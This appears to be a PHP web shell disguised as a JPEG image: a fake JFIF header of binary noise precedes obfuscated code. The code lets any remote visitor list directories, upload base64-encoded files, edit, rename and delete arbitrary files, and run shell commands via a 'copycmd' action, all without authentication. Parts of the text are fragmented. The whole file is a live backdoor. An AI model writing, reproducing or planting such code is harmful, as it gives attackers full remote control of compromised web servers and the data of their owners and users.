???????????????????????????? ??????????????/????????????????? ............/............... .........................../... ????????????????????????????? >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>> ÿØÿà JFIF    ÿÛ „  ( %!1!%)+//.383,7(-.+  -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ     ÿÄ J    ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ   ÿÄ *  !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú "SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5 ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍѶ¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e ríV ?> ......................................... ............................................................................. <<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>> $result, 'output' => implode("\n", $output)); } function wqtqwitnin12i5h12i5($dir) { $dir = isset($dir) ? $dir : BASE_DIR; $allFiles = scandir($dir); $dirs = []; $filesArr = []; foreach ($allFiles as $file) { if ($file === '.' || $file === '..') continue; $fullPath = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($fullPath)) { $dirs[] = $file; } else { $filesArr[] = $file; } } sort($dirs, SORT_NATURAL | SORT_FLAG_CASE); sort($filesArr, SORT_NATURAL | SORT_FLAG_CASE); $sorted = array_merge($dirs, $filesArr); ob_start(); ?>
Name Type Size Actions
0 ? floor(log($size, 1024)) : 0; $formattedSize = number_format($size / pow(1024, $power), 2, '.', ',') . ' ' . $units[$power]; $lastModified = date("Y-m-d H:i:s", filemtime($fullPath)); echo '' . $formattedSize . ''; } ?> Edit | Rename | Remove
$currentDir, 'tableHTML' => $tableHTML, 'message' => '', 'success' => true)); exit; } else if ($action === 'upload') { if (isset($_POST['filedata'])) { $chunkIndex = isset($_POST['dzchunkindex']) ? (int)$_POST['dzchunkindex'] : 0; $totalChunks = isset($_POST['dztotalchunkcount']) ? (int)$_POST['dztotalchunkcount'] : 1; $targetDir = isset($currentDir) ? $currentDir : BASE_DIR; $targetFile = $targetDir . DIRECTORY_SEPARATOR . basename($_POST['filename']); $fileData = stripslashes($_POST['filedata']); $fileData = base64_decode($fileData); $dest = fopen($targetFile, 'ab'); $uploaded = false; if ($dest) { $source = fopen('php://memory', 'r+'); fwrite($source, $fileData); rewind($source); $uploaded = stream_copy_to_stream($source, $dest) !== false; fclose($source); fclose($dest); } if (!$uploaded) { $currentData = fopen($targetFile, 'r+'); if ($currentData !== false) { fseek($currentData, 0, SEEK_END); $newData = fopen('php://memory', 'r+'); fwrite($newData, $fileData); rewind($newData); $uploaded = stream_copy_to_stream($newData, $currentData) !== false; fclose($newData); fclose($currentData); } } if (!$uploaded) { $message = "Upload failed."; } } $tableHTML = wqtqwitnin12i5h12i5($currentDir); header('Content-Type: application/json'); $message = ($uploaded) ? "Upload successful" : (isset($message) ? $message : "Upload failed"); echo json_encode(array('directory' => $currentDir, 'tableHTML' => $tableHTML, 'message' => $message, 'success' => (bool)$uploaded)); exit; } else if ($action === 'edit') { $currentDir = isset($_POST['kutapercaya']) ? $_POST['kutapercaya'] : BASE_DIR; $editSuccess = false; if (isset($_POST['filepath']) && isset($_POST['content'])) { $filepath = $_POST['filepath']; $content = stripslashes($_POST['content']); // Validate and write if (is_file($filepath) && is_writable($filepath)) { $editSuccess = file_put_contents($filepath, $content) !== false; } } $tableHTML = wqtqwitnin12i5h12i5($currentDir); header('Content-Type: application/json'); $message = $editSuccess ? "Edit successful" : "Edit failed"; echo json_encode([ 'directory' => $currentDir, 'tableHTML' => $tableHTML, 'message' => $message, 'success' => $editSuccess ]); exit; } else if ($action === 'rename') { $currentDir = isset($_POST['kutapercaya']) ? $_POST['kutapercaya'] : BASE_DIR; $renameSuccess = false; if (isset($_POST['oldname']) && isset($_POST['newname'])) { $oldname = $_POST['oldname']; $newname = dirname($oldname) . DIRECTORY_SEPARATOR . $_POST['newname']; if (file_exists($oldname)) { $renameSuccess = rename($oldname, $newname); } } $tableHTML = wqtqwitnin12i5h12i5($currentDir); header('Content-Type: application/json'); $message = $renameSuccess ? "Rename successful" : "Rename failed"; echo json_encode(array('directory' => $currentDir, 'tableHTML' => $tableHTML, 'message' => $message, 'success' => $renameSuccess)); exit; } else if ($action === 'remove') { $currentDir = isset($_POST['kutapercaya']) ? $_POST['kutapercaya'] : BASE_DIR; $removeSuccess = false; if (isset($_POST['filepath'])) { $filepath = $_POST['filepath']; if (file_exists($filepath)) { $removeSuccess = unlink($filepath); } } $tableHTML = wqtqwitnin12i5h12i5($currentDir); header('Content-Type: application/json'); $message = $removeSuccess ? "Remove successful" : "Remove failed"; echo json_encode(array('directory' => $currentDir, 'tableHTML' => $tableHTML, 'message' => $message, 'success' => $removeSuccess)); exit; } else if ($action === 'copycmd') { $pathvalue = isset($_POST['pathvalue']) ? $_POST['pathvalue'] : ""; $shellvalue = isset($_POST['shellvalue']) ? $_POST['shellvalue'] : ""; $result = qwtninxi114x141($pathvalue, $shellvalue); header('Content-Type: application/json'); echo json_encode($result); exit; } } ?> #loveforya.
PWD    :